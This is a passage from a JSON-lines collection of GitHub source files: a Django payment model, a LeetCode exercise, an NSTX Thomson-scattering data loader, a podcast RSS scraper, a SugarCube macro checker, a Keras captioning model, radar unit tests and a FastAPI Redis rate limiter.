filename)\n\n","repo_name":"longyuxi/algebraic-topology-biomolecules","sub_path":"ph/make_homology_jobs.py","file_name":"make_homology_jobs.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"19433838527","text":"import os\nfrom .fields import TimeStampedModel\nfrom wsgiref.util import FileWrapper\nfrom django.db import models\nfrom cv_utils import payment, utils, mail, client as client_api\nfrom django.utils.crypto import get_random_string\nfrom django.contrib.postgres.fields import JSONField\nfrom typing import NamedTuple\nfrom django.utils.functional import cached_property\nfrom django.shortcuts import reverse\nfrom io import BytesIO\nfrom quickbooks import QuickbooksAPI\nimport requests\nfrom django.conf import settings\nfrom payment_service.utils import update_list_after_payment_made\nfrom decimal import Decimal\n\n\ndef default_value():\n return {\"facebook\": 10, \"linkedin\": 10, \"twitter\": 10}\n\n\ndef generate_random():\n return get_random_string(12).upper()\n\n\ndef send_mail(kind, params, to):\n recipient = to\n if type(recipient) == str:\n recipient = [recipient]\n mail.send_mail(kind, params, recipient)\n\n\nclass Price(NamedTuple):\n base_rate: str\n currency: str\n country: str\n\n\nclass ReferralDiscount(models.Model, payment.PricingMixin):\n data = JSONField(default=default_value, blank=True, null=True)\n\n price_factor = JSONField(default=payment.PricingMixin.DEFAULT)\n\n @classmethod\n def get_single(cls):\n result = cls.objects.first()\n if not result:\n result = cls.objects.create()\n return result.data\n\n @classmethod\n def discount(self, network):\n if network:\n return self.get_single()[network]\n return 0\n\n @classmethod\n def max_discount(cls):\n return sum(cls.get_single().values())\n\n @classmethod\n def get_price_factor(cls):\n result = cls.objects.first()\n return result.price_factor.get(\"rates\")\n\n @classmethod\n def currencies(cls):\n result = cls.objects.first()\n return result.price_factor.get(\"currencies\")\n\n @classmethod\n def base_country(cls):\n result = cls.objects.first()\n return result.price_factor.get(\"base_countries\")\n\n @classmethod\n def determine_rates(cls, country=None, currency=None) -> Price:\n if currency:\n curr = currency\n else:\n curr = utils.get_currency(country)\n base_rate = cls.currencies().get(curr.upper())\n base_country = cls.base_country().get(curr.upper())\n return Price(currency=curr, base_rate=base_rate, country=base_country)\n # return {\"currency\": currency, \"base_rate\": base_rate, \"country\": base_country}\n\n\nclass PaymentMixin(TimeStampedModel):\n PAYSTACK = 1\n RAVEPAY = 2\n CHOICES = ((PAYSTACK, \"Paystack\"), (RAVEPAY, \"Ravepay\"))\n user = models.IntegerField(null=True)\n amount = models.DecimalField(default=0, max_digits=10, decimal_places=2)\n order = models.CharField(\n max_length=20, default=generate_random, primary_key=True)\n payment_method = models.IntegerField(choices=CHOICES, default=PAYSTACK)\n made_payment = models.BooleanField(default=False)\n extra_data = JSONField(null=True)\n\n class Meta:\n abstract = True\n\n @property\n def currency(self):\n # return \"NGN\"\n return os.getenv(\"CURRENCY\", \"USD\")\n\n @classmethod\n def pending_payment(cls, user_id, template=None, made_payment=False):\n if not template:\n return cls.objects.filter(\n user=user_id, made_payment=made_payment).first()\n return cls.objects.filter(user=user_id, template=template).first()\n\n @classmethod\n def generate_payment_details(cls, user_id):\n instance = cls.pending_payment(user_id)\n if not instance:\n return None\n return instance.details\n\n @cached_property\n def quick_book_instance(self):\n result = os.getenv(\"CUSTOM_DEBUG\",\n \"payment_service.settings.production\")\n if result == \"payment_service.settings.local\":\n\n QUICKBOOKS_BASE_URL = \"https://sandbox-quickbooks.api.intuit.com\"\n else:\n QUICKBOOKS_BASE_URL = \"https://quickbooks.api.intuit.com\"\n print(result)\n return QuickbooksAPI(url=QUICKBOOKS_BASE_URL)\n\n def quickbook_customer_call(self):\n user_details = self.extra_data\n details = {\n \"email\":\n user_details[\"email\"],\n \"full_name\":\n f\"{user_details.get('first_name')} {user_details.get('last_name')}\",\n \"phone_number\":\n user_details[\"phone_number\"],\n \"location\": {\n \"country\": user_details[\"country\"],\n \"address\": user_details[\"contact_address\"],\n },\n }\n return self.quick_book_instance.create_customer(**details)\n\n def create_quickbook_customer(self):\n user_details = self.extra_data\n # process to quickbooks\n quickbook_customer_details = user_details.get(\n \"quickbooks_customer_details\")\n if quickbook_customer_details == {}:\n # get the customer details from existing payment records\n quickbook_customer_details = None\n klass = self.__class__\n exists = (\n klass.objects.filter(\n extra_data__quickbooks_customer_details__name=user_details[\n \"email\"])\n .exclude(extra_data__quickbooks_customer_details__id=None)\n .first())\n if exists:\n quickbook_customer_details = exists.extra_data[\n \"quickbooks_customer_details\"]\n if not quickbook_customer_details:\n quickbook_customer_details = self.quickbook_customer_call()\n params = {\n \"user_id\": self.user,\n \"data\": {\n \"quickbooks_customer_details\": quickbook_customer_details\n },\n }\n if user_details.get('kind') != 'agent':\n res = requests.post(\n settings.AUTH_ENDPOINT + \"/save-custom-data\",\n json=params,\n )\n else:\n client_api.update_quickbooks_info_for_agent(\n settings.AUTH_ENDPOINT + \"/v2/graphql\", params['data'],\n user_details.get('email'))\n self.update_user_details(\n quickbooks_customer_details=quickbook_customer_details)\n return quickbook_customer_details\n\n @property\n def q_discount(self):\n return self.discount\n\n @property\n def description(self):\n return f\"{self.plan} {self.duration} subscription payment\"\n\n @property\n def discount(self):\n # user_details = self.extra_data or {}\n # old_price = user_details.get(\"default_rate\")\n if self.coupon:\n return self.coupon.discount * self.amount / 100\n return 0\n\n @property\n def price(self):\n user_details = self.extra_data or {}\n old_price = user_details.get(\"default_rate\")\n if self.discount:\n return old_price - self.discount\n return old_price\n\n def create_sales_receipt(self):\n params = {\n \"currency\": self.currency,\n \"description\": self.description,\n \"price\": float(self.price),\n \"amount\": float(self.price),\n \"discount\": float(self.q_discount),\n }\n receipt_id = self.quick_book_instance.create_sales_receipt(\n self.create_quickbook_customer(), params)\n self.update_user_details(quickbooks_receipt_id=receipt_id)\n\n def update_user_details(self, **kwargs):\n user_details = self.extra_data\n user_details.update(**kwargs)\n self.extra_data = user_details\n self.save()\n\n def download_receipt(self):\n if self.made_payment:\n receipt_id = self.extra_data.get(\"quickbooks_receipt_id\")\n if receipt_id:\n response = self.quick_book_instance.get_sales_receipt(\n receipt_id)\n if response.status_code == 200:\n bty = BytesIO(response.content)\n return FileWrapper(bty)\n return\n\n def miscellaneous_actions(self):\n pass\n\n def add_to_mailing_list(self):\n if self.extra_data.get(\"email_subscribed\"):\n update_list_after_payment_made(self.extra_data.get(\"email\"))\n\n @classmethod\n def paid_records(cls, user_id, request, kind=None):\n queryset = cls.objects.filter(user=user_id, made_payment=True).all()\n skind = {\"UserPayment\": \"template\", \"PlanPayment\": \"plan\"}\n if kind == 'agent':\n queryset = queryset.filter(kind=\"agent\")\n result = [{\n \"date\":\n x.modified.strftime(\"%B %d, %Y\"),\n \"amount\":\n float(x.amount),\n **x.get_currency(),\n \"payment_method\":\n x.get_payment_method_display(),\n \"made_payment\":\n x.made_payment,\n \"receipt\":\n request.build_absolute_uri(\n reverse(\n \"generic_download_receipt\",\n args=[skind[cls.__name__], x.order])).replace(\n \"http\", \"https\"),\n } for x in queryset]\n return result\n\n def on_payment_verification(self, amount, paystack_data, **kwargs):\n self.made_payment = True\n self.amount = Decimal(amount)\n extra_data = self.extra_data\n extra_data['paystack_details'] = paystack_data\n if kwargs.get('kind'):\n extra_data['kind'] = kwargs['kind']\n self.extra_data = extra_data\n self.save()\n return self\n # process to quickbooks\n # self.create_sales_receipt()\n # self.add_to_mailing_list()\n # self.miscellaneous_actions()\n","repo_name":"gbozee/careerlyft-backend","sub_path":"payment_service/payment_service/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":9698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"42548602254","text":"from collections import Counter\n\n\nclass Solution:\n def similarPairs(self, words) -> int:\n for i in range(len(words)):\n words[i] = set(words[i])\n count = 0\n words.sort()\n # print(set(words))\n for i in range(1, len(words)):\n if words[i-1] == words[i]:\n count += 1\n print(count)\n\n # return len(words) % getLength\n# need to solve this on my next attempt\n# this is an easy problem --- '__' >__<\n\n\ns = Solution()\nprint(s.similarPairs(words=[\"aba\", \"aabb\", \"abcd\", \"bac\", \"aabc\"]))\nprint(s.similarPairs(words=[\"aabb\", \"ab\", \"ba\"]))\n","repo_name":"bipsec/Leet-Code","sub_path":"count_pairs_of_similiar_strings.py","file_name":"count_pairs_of_similiar_strings.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71063939931","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 5 18:24:43 2020\n\n@author: mlampert\n\"\"\"\nimport os\nimport copy\n\n#FLAP imports and settings\nimport flap\nimport flap_mdsplus\n\nflap_mdsplus.register('NSTX_MDSPlus')\n\nthisdir = os.path.dirname(os.path.realpath(__file__))\nfn = os.path.join(thisdir,\"flap_nstx.cfg\")\nflap.config.read(file_name=fn)\n\n#Scientific imports\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n#Other necessary imports\nimport MDSplus as mds\nimport pickle\n\ndef get_data_thomson(exp_id=None, \n data_name=None, \n no_data=False, \n options=None, \n coordinates=None, \n data_source=None):\n \n default_options = {'temperature': False,\n 'density': False,\n 'pressure': False,\n 'test': False,\n \n 'output_name': None,\n 'add_flux_coordinates': False,\n 'spline_data': False,\n 'force_mdsplus':False\n }\n \n _options = flap.config.merge_options(default_options,options,data_source=data_source)\n \n temperature=_options['temperature']\n density=_options['density']\n pressure=_options['pressure']\n test=_options['test']\n output_name=_options['output_name']\n add_flux_coordinates=_options['add_flux_coordinates']\n spline_data=_options['spline_data']\n force_mdsplus=_options['force_mdsplus']\n \n \"\"\"\n Returns the Thomson scattering processed data from the MDSplus tree as\n a dictionary containing all the necessary parameters. The description of\n the dictionary can be seen below.\n \"\"\"\n if pressure+temperature+density != 1:\n raise ValueError('Either pressure or temperature or density can be set, neither none, nor more than one.')\n if exp_id is None:\n raise TypeError('exp_id must be set.')\n \n wd=flap.config.get_all_section('Module NSTX_GPI')['Local datapath']\n filename=wd+'/'+str(exp_id)+'/nstx_mdsplus_thomson_'+str(exp_id)+'.pickle'\n \n if not os.path.exists(filename) or force_mdsplus:\n conn = mds.Connection('skylark.pppl.gov:8501')\n conn.openTree('activespec', exp_id)\n \n mdsnames=['ts_times', #The time vector of the measurement (60Hz measurement with the Thomson)\n 'FIT_RADII', #Radius of the measurement \n 'FIT_R_WIDTH', \n 'FIT_TE', #Electron temperature profile numpy array([radius,time])\n 'FIT_TE_ERR', #The error for Te (symmetric)\n 'FIT_NE', #Electron density profile numpy array([radius,time])\n 'FIT_NE_ERR', #The error for ne (symmetric)\n 'FIT_PE', #Electron pressure profile numpy array([radius,time])\n 'FIT_PE_ERR', #The error for pe (symmetric)\n 'SPLINE_RADII', #Spline fit of the previous results (4times interpolation compared to the previous ones)\n 'SPLINE_NE', #Spline fit ne without error\n 'SPLINE_PE', #Spline fit pe without error\n 'SPLINE_TE', #Spline fit Te without error\n 'TS_LD', #N/A\n 'LASER_ID', #ID of the Thomson laser\n 'VALID', #Validity of the measurement\n 'DATEANALYZED', #The date when the analysis was done for the data\n 'COMMENT'] #Comment for the analysis\n\n thomson={}\n for name in mdsnames:\n thomson[name]=conn.get('\\\\TS_BEST:'+name).data()\n if name == 'ts_times' and type(thomson[name]) is str:\n raise ValueError('No Thomson data available.')\n \n thomson['FIT_R_WIDTH'] /= 100.\n thomson['FIT_RADII'] /= 100.\n thomson['SPLINE_RADII'] /= 100.\n \n thomson['FIT_NE'] *= 1e6\n thomson['FIT_NE_ERR'] *= 1e6\n thomson['SPLINE_NE'] *= 1e6\n \n conn.closeAllTrees()\n conn.disconnect()\n try:\n pickle.dump(thomson,open(filename, 'wb'))\n except:\n raise IOError('The path '+filename+' cannot be accessed. Pickle file cannot be created.')\n else:\n thomson=pickle.load(open(filename, 'rb'))\n \n try:\n thomson_time=thomson['TS_TIMES']\n except:\n thomson_time=thomson['ts_times']\n coord = []\n\n coord.append(copy.deepcopy(flap.Coordinate(name='Time',\n unit='s',\n mode=flap.CoordinateMode(equidistant=True),\n start=thomson_time[0],\n step=thomson_time[1]-thomson_time[0],\n #shape=time_arr.shape,\n dimension_list=[1]\n )))\n \n coord.append(copy.deepcopy(flap.Coordinate(name='Sample',\n unit='n.a.',\n mode=flap.CoordinateMode(equidistant=True),\n start=0,\n step=1,\n dimension_list=[1]\n )))\n if spline_data:\n thomson_r_coord=thomson['SPLINE_RADII']\n if pressure:\n data_arr=thomson['SPLINE_PE']\n data_arr_err=None\n data_unit = flap.Unit(name='Pressure',unit='kPa')\n elif temperature:\n data_arr=thomson['SPLINE_TE']\n data_arr_err=None\n data_unit = flap.Unit(name='Temperature',unit='keV')\n elif density:\n data_arr=thomson['SPLINE_NE']\n data_arr_err=None\n data_unit = flap.Unit(name='Density',unit='m-3')\n else:\n thomson_r_coord=thomson['FIT_RADII'] \n if pressure:\n data_arr=thomson['FIT_PE']\n data_arr_err=thomson['FIT_PE_ERR']\n data_unit = flap.Unit(name='Pressure',unit='kPa')\n elif temperature:\n data_arr=thomson['FIT_TE']\n data_arr_err=thomson['FIT_TE_ERR']\n data_unit = flap.Unit(name='Temperature',unit='keV')\n elif density:\n data_arr=thomson['FIT_NE']\n data_arr_err=thomson['FIT_NE_ERR']\n data_unit = flap.Unit(name='Density',unit='m-3')\n \n coord.append(copy.deepcopy(flap.Coordinate(name='Device R',\n unit='m',\n mode=flap.CoordinateMode(equidistant=False),\n values=thomson_r_coord,\n shape=thomson_r_coord.shape,\n dimension_list=[0]\n )))\n if test:\n plt.figure()\n if add_flux_coordinates:\n try:\n psirz=flap.get_data('NSTX_MDSPlus',\n name='\\EFIT02::\\PSIRZ',\n exp_id=exp_id,\n object_name='PSIRZ_FOR_COORD')\n \n ssimag=flap.get_data('NSTX_MDSPlus',\n name='\\EFIT02::\\SSIMAG',\n exp_id=exp_id,\n object_name='SSIMAG_FOR_COORD')\n \n ssibry=flap.get_data('NSTX_MDSPlus',\n name='\\EFIT02::\\SSIBRY',\n exp_id=exp_id,\n object_name='SSIBRY_FOR_COORD')\n \n # R_data=flap.get_data('NSTX_MDSPlus',\n # name='\\EFIT02::\\R',\n # exp_id=exp_id,\n # object_name='R_FOR_COORD')\n # PSI_norm_data=flap.get_data('NSTX_MDSPlus',\n # name='\\EFIT02::\\PSIN',\n # exp_id=exp_id,\n # object_name='PSIN')\n \n except:\n raise ValueError(\"The PSIRZ MDSPlus node cannot be reached.\")\n \n psi_n=(psirz.data-ssimag.data[:,None,None])/(ssibry.data-ssimag.data)[:,None,None]\n psi_n[np.isnan(psi_n)]=0.\n \n psi_n=psi_n[:,32,:] #GTFO, psi_n is transposed originally\n psi_t_coord=psirz.coordinate('Time')[0][:,0,0]\n psi_r_coord=psirz.coordinate('Device R')[0][:,:,32] #midplane is the middle coordinate in the array\n \n #Do the interpolation\n #psi_values_spat_interpol=np.zeros([thomson_r_coord.shape[0],\n # psi_t_coord.shape[0]])\n psi_values_ts=np.zeros([thomson_r_coord.shape[0],\n thomson_time.shape[0]])\n \n for index_t in range(len(thomson_time)):\n ind_t_efit=np.argmin(np.abs(psi_t_coord-thomson_time[index_t]))\n psi_values_ts[:,index_t]=np.interp(thomson_r_coord,\n psi_r_coord[ind_t_efit,:],\n psi_n[ind_t_efit,:])\n \n if test:\n for index_t in range(len(thomson_time)):\n plt.cla()\n plt.plot(thomson_r_coord,psi_values_ts[:,index_t])\n # plt.plot(thomson_r_coord,psi_values_at_ts[:,index_t])\n plt.pause(0.5)\n \n psi_values_ts[np.isnan(psi_values_ts)]=0.\n \n coord.append(copy.deepcopy(flap.Coordinate(name='Flux r',\n unit='',\n mode=flap.CoordinateMode(equidistant=False),\n \n values=psi_values_ts,\n shape=psi_values_ts.shape,\n \n # values=psi_values_at_ts,\n # shape=psi_values_at_ts.shape,\n dimension_list=[0,1]\n )))\n if test:\n plt.plot(psi_values_ts, data_arr)\n # plt.plot(psi_values_at_ts, data_arr)\n \n d = flap.DataObject(data_array=data_arr,\n error=data_arr_err,\n data_unit=data_unit,\n coordinates=coord, \n exp_id=exp_id,\n data_title='NSTX Thomson data')\n \n if output_name is not None:\n flap.add_data_object(d, output_name)\n return d\n\ndef add_coordinate_thomson(data_object,\n coordinates,\n exp_id=None,\n options=None):\n raise NotImplementedError(\"New coordinates need to be added, everything else is added to the FLAP object as default.\")","repo_name":"fusion-flap/flap_nstx","sub_path":"get_data_thomson.py","file_name":"get_data_thomson.py","file_ext":"py","file_size_in_byte":11109,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21002901899","text":"import click\nimport requests\nfrom bs4 import BeautifulSoup\nfrom dataclasses import dataclass\nfrom rich import print\n\n\n@dataclass\nclass Podcast:\n title: str\n link: str\n desc: str\n date: str\n\n\ndef get_data(feed_url):\n resp = requests.get(feed_url)\n soup = BeautifulSoup(resp.text, features=\"xml\")\n return soup\n\n\ndef parse_xml(soup):\n item = soup.find(\"item\")\n episode = Podcast(\n title=item.find(\"title\").text,\n link=item.find(\"enclosure\")[\"url\"],\n desc=item.find(\"description\").text,\n date=item.find(\"pubDate\").text,\n )\n return episode\n\n\n@click.command()\n@click.argument(\"feed_url\")\ndef scrape(feed_url):\n pod = get_data(feed_url)\n ep = parse_xml(pod)\n print(ep)\n\n\nif __name__ == \"__main__\":\n scrape()\n","repo_name":"jhnwr/youtube","sub_path":"scrapercli/podcastscomplete.py","file_name":"podcastscomplete.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"32"} +{"seq_id":"39719241506","text":"import argparse\nimport pathlib\nimport re\n\n\nwidget_regex = re.compile(r\"\"\"<>\")\ncomment_regex = re.compile(r\"\")\njavascript_comment1_regex = re.compile(r\"\\s*//.*\")\njavascript_comment2_regex = re.compile(r\"\\s*/\\*[\\s\\S]*?\\*/\")\n\ndefault = {\n \"if\",\n \"elseif\",\n \"else\",\n \"set\",\n \"link\",\n \"linkappend\",\n \"linkprepend\",\n \"linkreplace\",\n \"case\",\n \"widget\",\n \"break\",\n \"include\",\n \"compute\",\n \"nobr\",\n \"return\",\n \"for\",\n \"silently\",\n \"audio\",\n \"cacheaudio\",\n \"createaudiogroup\",\n \"createplaylist\",\n \"masteraudio\",\n \"playlist\",\n \"done\",\n \"print\",\n \"append\",\n \"unset\",\n \"switch\",\n \"prepend\",\n \"radiobutton\",\n \"repeat\",\n \"default\",\n \"stop\",\n \"run\",\n \"replace\",\n \"numberbox\",\n \"cycle\",\n \"copy\",\n \"timed\",\n \"checkbox\",\n \"addclass\",\n \"removeclass\",\n \"continue\",\n \"listbox\",\n \"optionsfrom\",\n \"option\",\n \"capture\",\n \"button\",\n \"choice\",\n \"remove\",\n \"onchange\",\n \"condition\",\n \"dynamicblock\",\n \"textbox\",\n \"actions\",\n \"back\",\n \"safereplace\",\n \"script\",\n \"toggleclass\",\n \"twinescript\",\n \"-\",\n \"goto\",\n \"type\",\n \"textarea\",\n}\n\n\ndef get_js_macros(path: pathlib.Path):\n content = path.read_text(encoding=\"utf-8\")\n content = re.sub(javascript_comment1_regex, \"\", content)\n content = re.sub(javascript_comment2_regex, \"\", content)\n macros = set()\n for i in re.findall(macro_regex, content):\n macros.add(i)\n for i in re.findall(define_macro_regex, content):\n macros.add(i)\n for i in re.findall(javascript_regex, content):\n macros.add(i)\n return macros\n\n\ndef get_twee_macros(path: pathlib.Path):\n content = path.read_text(encoding=\"utf-8\")\n content = re.sub(comment_regex, \"\", content)\n content = re.sub(javascript_comment2_regex, \"\", content)\n macros = set()\n for i in re.findall(widget_regex, content):\n macros.add(i)\n return macros\n\n\ndef check(path, macros):\n content = path.read_text(encoding=\"utf-8\")\n if path.suffix == \".js\":\n content = re.sub(javascript_comment1_regex, \"\", content)\n m = re.search(javascript_comment2_regex, content)\n while m:\n t = content[m.start() : m.end()]\n content = content.replace(t, \"\\n\" * t.count(\"\\n\"))\n m = re.search(javascript_comment2_regex, content)\n elif path.suffix == \".twee\":\n m = re.search(comment_regex, content)\n while m:\n t = content[m.start() : m.end()]\n content = content.replace(t, \"\\n\" * t.count(\"\\n\"))\n m = re.search(comment_regex, content)\n m = re.search(javascript_comment2_regex, content)\n while m:\n t = content[m.start() : m.end()]\n content = content.replace(t, \"\\n\" * t.count(\"\\n\"))\n m = re.search(javascript_comment2_regex, content)\n for i in re.finditer(used_regex, content):\n if i.group(1).startswith(\"-\"):\n continue\n if i.group(1).lower() not in macros:\n n = content[: i.start()].count(\"\\n\") + 1\n print(f\"{str(path)}:{n}: {i.group(1)}\")\n\n\nparser = argparse.ArgumentParser(description=\"Checks macros.\")\nparser.add_argument(\"paths\", nargs=\"*\", type=pathlib.Path)\n\n\nargs = parser.parse_args()\nif not args.paths:\n print(\"No paths\")\n exit(1)\npaths: list[pathlib.Path] = args.paths\n\ntargets = []\nmacros = default\nfor i in paths:\n if i.suffix == \".js\":\n macros |= get_js_macros(i)\n targets.append(i)\n elif i.suffix == \".twee\":\n macros |= get_twee_macros(i)\n targets.append(i)\nmacros = set(map(str.lower, macros))\n\nfor i in targets:\n check(i, macros)\n","repo_name":"Future-R/DOLFishing","sub_path":"devTools/macro_check.py","file_name":"macro_check.py","file_ext":"py","file_size_in_byte":3960,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"12737513745","text":"class StudentInfo:\n\n #THIS IS THE CONSTRUCTOR WHICH IS USED WHEN WE NEED TO PASS THE PARAMETER WHILE ACESSING THE CLASS\n def __init__(self,givenName ,givenSurname, givenAge ):\n self.studentName = givenName #THIS WILL STORE THE NAME \n self.studentSurname = givenSurname #THIS WILL STORE THE SURNAME\n self.studentAge = givenAge #THIS WILL STORE THE AGE\n\n def fullNameOfStudent(self):\n print(\"The Full name of the student : \" , self.studentName,self.studentSurname)\n\ns1 = StudentInfo(\"Vatsal\", \"Prajapati\" , 19)\n\nprint(\"THE AGE : \",s1.studentAge)\ns1.fullNameOfStudent()\n ","repo_name":"mahirnpatel/python_practice","sub_path":"Object_oriented_concepts/Constructor_in_pyhton.py","file_name":"Constructor_in_pyhton.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10200787254","text":"import datetime\nimport os\nimport pandas as pd\nfrom statsmodels.tsa.api import VAR\nimport gdelt\n\npd.set_option('max_columns', None)\ngd1 = gdelt.gdelt(version=1)\n\ndef actors_contains_name(dataa: pd.DataFrame, name):\n name = name.upper()\n results = dataa[[\"Actor1Name\"]]\n #filter1 = (name in results[\"Actor1Name\"]) | (name in results[\"Actor2Name\"])\n filter1 = (results[\"Actor1Name\"].str.contains(name)) | False\n \n return results[filter1].drop_duplicates()\n\ndef search_name(dataa: pd.DataFrame, name):\n\n searchRes = actors_contains_name(dataa, name)\n\n print(searchRes.head(20))\n print(\"Chose index: , or q if not want to chose\\n\")\n input_line = input()\n if(input_line == 'q'):\n return None\n index = int(input_line)\n if(index > len(searchRes)):\n return None\n \n return searchRes.values[index][0]\n\ndef search():\n value = None\n tmpData = gd1.Search(['2021 May 20', '2021 May 23'],\n table='events', output='pd')\n print(\"Insert name, or 'return' to return value: \", value)\n name = input()\n while(name != \"return\"):\n value = search_name(tmpData, name)\n print(\"Output value: \", value)\n print(\"Insert name, or 'return' to return value: \", value)\n name = input()\n return value\n\n\n\nif __name__ == '__main__':\n print(\"Returned: \", search())\n\n\n","repo_name":"miksik98/GDELT","sub_path":"chosing_name.py","file_name":"chosing_name.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24420433917","text":"from keras.layers import Input, Dense, LSTM, Embedding, concatenate, RepeatVector, TimeDistributed, Bidirectional\nfrom keras.models import Model\n\ndef BidirectionalRNNModel(vocab_size, max_len, rnnConfig):\n\tembedding_size = rnnConfig['embedding_size']\n\t# vgg16 outputs a 4096 dimensional vector for each image, which we'll feed to RNN Model\n\t\n\timage_input = Input(shape=(4096,))\n\timage_model_1 = Dense(embedding_size, activation='relu')(image_input)\n\timage_model = RepeatVector(max_len)(image_model_1)\n\n\tcaption_input = Input(shape=(max_len,))\n\t# mask_zero: We zero pad inputs to the same length, the zero mask ignores those inputs. E.g. it is an efficiency.\n\tcaption_model_1 = Embedding(vocab_size, embedding_size, mask_zero=True)(caption_input)\n\t# Since we are going to predict the next word using the previous words\n\t# (length of previous words changes with every iteration over the caption), we have to set return_sequences = True.\n\tcaption_model_2 = LSTM(rnnConfig['LSTM_units'], return_sequences=True)(caption_model_1)\n\tcaption_model = TimeDistributed(Dense(embedding_size))(caption_model_2)\n\n\t# Merging the models and creating a softmax classifier\n\tfinal_model_1 = concatenate([image_model, caption_model])\n\tfinal_model_2 = Bidirectional(LSTM(rnnConfig['LSTM_units'], return_sequences=False))(final_model_1)\n\tfinal_model = Dense(vocab_size, activation='softmax')(final_model_2)\n\n\tmodel = Model(inputs=[image_input, caption_input], outputs=final_model)\n\tmodel.compile(loss='categorical_crossentropy', optimizer='adam')\n\t\n\treturn model\n","repo_name":"MrezaFd/DS-Image-Captioning","sub_path":"bidirectional_lstm.py","file_name":"bidirectional_lstm.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41946964920","text":"\"\"\"Unit tests for radar_utils.py.\"\"\"\n\nimport unittest\nimport numpy\nfrom ml4convection.utils import radar_utils\n\nFIRST_GRID_LATITUDES_DEG_N = numpy.linspace(20, 30, num=21, dtype=float)\nFIRST_GRID_LONGITUDES_DEG_E = numpy.linspace(115, 125, num=11, dtype=float)\nFIRST_ROW_INDICES = numpy.array([10, 8, 6, 4], dtype=int)\nFIRST_COLUMN_INDICES = numpy.array([7, 7, 5, 6], dtype=int)\n\nSECOND_GRID_LATITUDES_DEG_N = numpy.linspace(20, 30, num=41, dtype=float)\nSECOND_GRID_LONGITUDES_DEG_E = numpy.linspace(115, 125, num=41, dtype=float)\nSECOND_ROW_INDICES = numpy.array([20, 16, 13, 8], dtype=int)\nSECOND_COLUMN_INDICES = numpy.array([27, 26, 20, 23], dtype=int)\n\n\nclass RadarUtilsTests(unittest.TestCase):\n \"\"\"Each method is a unit test for radar_utils.py.\"\"\"\n\n def test_radar_sites_to_grid_points_first(self):\n \"\"\"Ensures correct output from radar_sites_to_grid_points.\n\n In this case, using first grid.\n \"\"\"\n\n these_row_indices, these_column_indices = (\n radar_utils.radar_sites_to_grid_points(\n grid_latitudes_deg_n=FIRST_GRID_LATITUDES_DEG_N,\n grid_longitudes_deg_e=FIRST_GRID_LONGITUDES_DEG_E\n )\n )\n\n self.assertTrue(numpy.array_equal(\n these_row_indices, FIRST_ROW_INDICES\n ))\n self.assertTrue(numpy.array_equal(\n these_column_indices, FIRST_COLUMN_INDICES\n ))\n\n def test_radar_sites_to_grid_points_second(self):\n \"\"\"Ensures correct output from radar_sites_to_grid_points.\n\n In this case, using second grid.\n \"\"\"\n\n these_row_indices, these_column_indices = (\n radar_utils.radar_sites_to_grid_points(\n grid_latitudes_deg_n=SECOND_GRID_LATITUDES_DEG_N,\n grid_longitudes_deg_e=SECOND_GRID_LONGITUDES_DEG_E\n )\n )\n\n self.assertTrue(numpy.array_equal(\n these_row_indices, SECOND_ROW_INDICES\n ))\n self.assertTrue(numpy.array_equal(\n these_column_indices, SECOND_COLUMN_INDICES\n ))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"thunderhoser/ml4convection","sub_path":"ml4convection/utils/radar_utils_test.py","file_name":"radar_utils_test.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"32"} +{"seq_id":"75016921370","text":"import hashlib\nfrom datetime import datetime, timedelta\nfrom typing import Annotated, Any, Callable, TypeVar\n\nimport uvicorn\nfrom fastapi import FastAPI, Header, Request, Response\nfrom fastapi.responses import JSONResponse\nfrom pydantic_settings import BaseSettings, SettingsConfigDict\nfrom redis.asyncio import Redis\n\nF = TypeVar(\"F\", bound=Callable[..., Any])\n\n\nclass Settings(BaseSettings):\n redis_password: str\n redis_host: str = \"127.0.0.1\"\n redis_port: int = 6379\n user_rate_limit_per_minute: int = 3\n model_config = SettingsConfigDict(env_file=\".env\", extra=\"ignore\")\n\n\nsettings = Settings()\n\nredis_client = Redis(\n host=settings.redis_host,\n port=settings.redis_port,\n db=0,\n decode_responses=True,\n password=settings.redis_password,\n)\napp = FastAPI(\n title=\"FastAPI Rate Limiting\",\n description=\"Rate limiting users using Redis middleware\",\n docs_url=\"/\",\n)\n\n\nasync def rate_limit_user(user: str, rate_limit: int) -> JSONResponse | None:\n \"\"\"\n Apply rate limiting per user, per minute\n \"\"\"\n # Increment our most recent redis key\n username_hash = hashlib.sha256(bytes(user, \"utf-8\")).hexdigest()\n now = datetime.utcnow()\n current_minute = now.strftime(\"%Y-%m-%dT%H:%M\")\n\n redis_key = f\"rate_limit_{username_hash}_{current_minute}\"\n current_count = await redis_client.incr(redis_key)\n\n # If we just created a new key (count is 1) set an expiration\n if current_count == 1:\n await redis_client.expireat(name=redis_key, when=now + timedelta(minutes=1))\n\n # Check rate limit\n if current_count > rate_limit:\n return JSONResponse(\n status_code=429,\n content={\"detail\": \"User Rate Limit Exceeded\"},\n headers={\n \"Retry-After\": f\"{60 - now.second}\",\n \"X-Rate-Limit\": f\"{rate_limit}\",\n },\n )\n\n return None\n\n\n@app.middleware(\"http\")\nasync def rate_limit_middleware(request: Request, 